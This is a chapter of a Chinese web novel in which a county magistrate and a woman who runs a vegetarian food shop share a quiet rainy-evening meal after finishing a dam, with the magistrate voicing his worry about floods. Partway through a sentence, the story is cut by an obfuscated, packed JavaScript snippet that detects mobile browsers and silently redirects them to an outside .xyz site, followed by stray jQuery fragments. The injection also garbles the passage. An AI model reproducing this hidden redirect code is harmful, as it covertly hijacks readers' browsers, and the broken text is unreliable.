13. 骤雨
作品:《穿越后靠卖素斋发家》 秋雨又落了下来。
起初只是细密的银线打在庆阳县衙后宅小院的青瓦上,发出沙沙的轻响,渐渐雨势大了些,敲在檐下那两盏刚熄了不久的红灯笼上,发出沉闷的噗噗声,水珠顺着褪色的穗子滚落,在石阶上砸出小小的水花。
程锦明立在廊下,望着院中那几竿被雨水洗得愈发青翠的修竹。
深秋的寒意裹着湿润的水汽扑面而来,他下意识拢了拢身上半旧的靛青直裰,同李素一起在河边忙碌数日,大坝主体总算在入冬前抢着合了拢,笨重的横卧在城外浑浊的河滩上。
紧绷的弦虽骤然松弛,但随之涌上的除了卸下千斤重担的虚脱,还有一种难以言喻的忧虑。
这雨来得太不是时候,虽说坝基已固,但连日阴雨让他实在不知上游水势如何,新筑的堤坝能否扛得住今冬明春。
程锦明微微叹了口气,岭南水患的惨状如同浸透了血的噩梦从未真正从他心底褪去。
“大人,李娘子到了,”周青的声音在身后响起,沉稳地压过了雨声打断了他的思绪。
程锦明闻言回身,只见李素撑着一柄半旧的油纸伞,提着个食盒,正沿着湿漉漉的回廊走来。
她今日换了身浆洗得格外干净的细布袄裙,颜色是秋日里常见的靛蓝,衬得人素净利落。
伞沿压得低,遮住了大半眉眼,只露出线条清晰的下颌和抿着的唇,临到廊下,她收了伞靠在廊柱旁,伞尖滴下的水珠很快在青石板上洇开一小片深色。
“程大人,”她抬头,微微屈身。
“李姑娘不必多礼,”程锦明虚扶了一下,引她走向小厨房旁的小方桌。
桌上已摆了几样简单的菜蔬,最显眼的是当中一只冒着袅袅热气的粗陶砂锅,盖子未揭,但豆制品特有醇香气息已丝丝缕缕地逸散出来,混合着姜丝和菌菇的鲜甜,在这微凉的雨气里熨帖着人的肺腑。
“姑娘请坐,”程锦明指了指对面的竹椅,“不是什么正经宴席,粗茶淡饭聊表谢意,这几个月河堤上几百口人的饭食全赖姑娘支撑。”
他的声音带着一丝不易察觉的沙哑,透着一股卸下重负后的疲惫。
李素依言坐下,她目光扫过桌上:除了那个砂锅,一碟清炒的脆嫩时蔬,一碟切得酱黄瓜,还有一盘实打实的酱鸭,金红油亮的鸭肉整齐码放,透着难得的肉香。
李素心头微微一动,这都是坊间相传京城时兴的菜式。
“大人言重了,”她收回目光,将自己带来的盒子打开,端出来一碟做好的醋溜藕排。
李素声音很轻,“分内之事,也是乡亲们信得过我的手艺。”
她顿了顿,抬眼又看向那口砂锅,“这是……素鸭锅?”
“是,”程锦明被这醋溜藕排牵扯出些别样的回忆,因此唇角牵起一点极淡的笑意。
他亲自揭开了砂锅盖,更浓郁的香气随之扑面而来,只见乳白的浓汤在锅中微微翻滚,里面沉着切成厚片的素鸭,吸饱了汤汁显得饱满诱人,还有几块炖得软糯的冬瓜,几朵肥厚的香菇,几点翠绿的葱花浮在汤面。
“天凉,喝点热汤驱驱寒气,用的是你铺子里的素鸭,我让厨子加了菌子和冬瓜煨的,不知火候可对?”
李素看着那翻滚的热汤,白气氤氲,模糊了对面人的面容。
她拿起粗陶小碗,程锦明已执起木勺为她舀了大半碗,汤汁浓稠,素鸭沉在碗底,冬瓜剔透,香菇肥厚。
“大人费心了,闻着就极好,”她捧起碗笑了笑,暖意透过粗陶熨帖着微凉的指尖。
雨声淅沥,成了此刻唯一的背景音。
两人隔着方桌安静地吃着,程锦明吃得不多,似乎更专注于那碗素鸭汤,小口啜饮着,眉宇间那点因公务凝成的结在氤氲的热气里似乎也舒展了些许。
李素则细嚼慢咽,心思却难以全然落在食物上,眼角余光里,是程锦明搁在桌边的手指,修长,骨节分明,指甲修剪得干净,只是指腹和虎口处,新添了几道细小的划痕和薄茧,想是巡堤搬石时留下的。
他清减了许多,下颌的线条越发清晰,眼下的淡青挥之不去,一种混杂着敬佩与莫名酸涩的情绪,在她心底悄然弥漫开。
李素想了想放下筷子,轻声问:“坝算是立住了?”
程锦明听闻也搁下汤碗,目光投向廊外密织的雨帘,声音沉缓:“主体是合拢了,土石夯实,该加固的险段也加固了,只是……”
他顿了顿,指尖无意识地在粗粝的桌面上轻轻划过,“这雨下得久了些,上游的情形,驿报还没到,新坝初成,未经大汛考验,终究是悬着心。”
他端起旁边温着的粗陶茶壶,给李素续了杯热茶,茶汤清亮,是普通的炒青,带着一点微涩的烟火气。
“有时夜里听着这雨声,总觉得像马蹄踏在屋顶,催命似的。”
这话说得平淡,却透着一股沉甸甸的无力感。
李素捧着温热的茶杯,看着程锦明映在雨光里的侧脸,他此时不再是公堂上那个凛然生威的县令,也不是河滩上那个指挥若定的主心骨。
此刻的他,只是一个被责任压得疲惫不堪、为一方水土忧心忡忡的普通人。
“大人已经尽力了,”她低声说,声音在雨声里显得格外和缓,“庆阳的乡亲都看在眼里,没有大人力排众议,这坝怕是连个影儿都没有,至于天时……”
她顿了顿,望向院中被打得簌簌作响的竹叶,“尽人事,听天命吧。”
程锦明转过头来看她,廊檐下光线昏蒙,她的面容在雨气和茶烟中有些模糊,唯有一双眼睛清亮澄澈,眼神平静恬淡。
“听天命……”他低声重复着,唇边终于绽开一个带着点无奈又释然的浅笑。
“是啊,也只能如此了,只是苦了这庆阳的百姓,若真决了口……”后面的话他没说下去,只是端起茶杯,将微涩的茶汤一饮而尽。
雨势似乎又急了些,豆大的雨点砸在院中那口闲置的石臼里,发出清脆的叮咚声,更显出小院的气氛寂静凝重。
李素有意转移话题,她转而拿起公筷夹了一块醋溜藕排放到程锦明面前的小碟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124900|178134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里,“尝尝这个,凉了就不脆了。”
程锦明也不再纠结,他依言夹起送入口中。
熟悉的酸甜焦香瞬间在舌尖弥漫开,藕的脆嫩裹着滚烫的糖醋汁,带着记忆的温度。
他咀嚼着,似乎透过这熟悉的味道看到了那个曾在县衙小厨房里忙碌的沉静身影,看到了河滩上灶火映红的脸庞,也看到了公堂之上,她挺直脊梁迎向朱永贵怨毒目光时的清冽。
“手艺越发精进了,”半晌他咽下藕排,由衷赞道,声音里带着暖意。
李素只是微微弯了下唇角,没说什么,低头小口喝着碗里的汤。
气氛再次沉静下来,却不再有先前的凝重,反而流淌着一种无言的默契和淡淡的暖意。
饭毕,雨势未歇。
程锦明起身跟了李素几步:“雨大,我送你到巷口吧。”
“不必麻烦大人,几步路而已,”李素撑着伞淡淡推辞。
“无妨,正好透透气,”程锦明已拿起靠在廊柱边的另一把油纸伞撑开。
李素见状也不再推辞,两人一前一后步入细密的雨帘,青石板路湿滑,反射着天光和水光。
巷子深且静,只有雨点敲打伞面和脚下溅起的水声。
走到县衙后门虚掩的小角门处,李素这才停下脚步道:“大人留步吧。”
程锦明很有分寸的停在她几步远的位置,“好,路上当心。”
李素点了点头:“大人也早些歇息,坝总会守住的。”
她的目光穿过雨幕,落在他被水汽浸润得格外清俊又带着倦意的脸上,那句“保重”在舌尖滚了滚,终究没有说出口,只化作一个无声的眼神。
程锦明看着她,雨水顺着伞骨滑落,在她身前织成一道透明的水帘。
她站在水帘后,身影单薄却挺直,像风雨中一株柔韧的竹。
“嗯,”他应了一声,声音低沉,千言万语似乎都凝在了这细密的雨声里。
李素于是撑着伞转身步入小巷深处。
雨点打在油纸伞面上,噼啪作响,像无数细小的鼓点敲在心上。
她没有回头,却能清晰地感觉到身后那道目光,隔着雨帘一直追随着她,直到巷口拐角。
转过弯,那道视线才被高墙彻底阻隔。
李素脚步未停,巷子里的风更冷了些,带着河滩特有的、裹着腐草味的湿冷泥土气。
她拢了拢衣襟,指尖不经意触到袖口一点微湿的痕迹——是方才的素鸭汤溅上的。
那浓郁的菌菇豆香似乎还萦绕在鼻尖,混着方才程锦明相随时,衣袖拂过带起的、淡淡的墨香和雨水的清冽。
她深吸一口气,冰冷的空气带着水汽涌入肺腑,却压不下心口那点莫名的、温温的酸胀。
为这多灾的庆阳,为那未卜的堤坝,也为方才廊檐下,那片刻无声的、带着疲惫与暖意的相守。
李素紧了紧手中的伞,加快脚步朝着自家铺子亮着温暖灯火的方向走去。
她的身影很快融入雨丝中,融入洇湿的青灰暮色里。

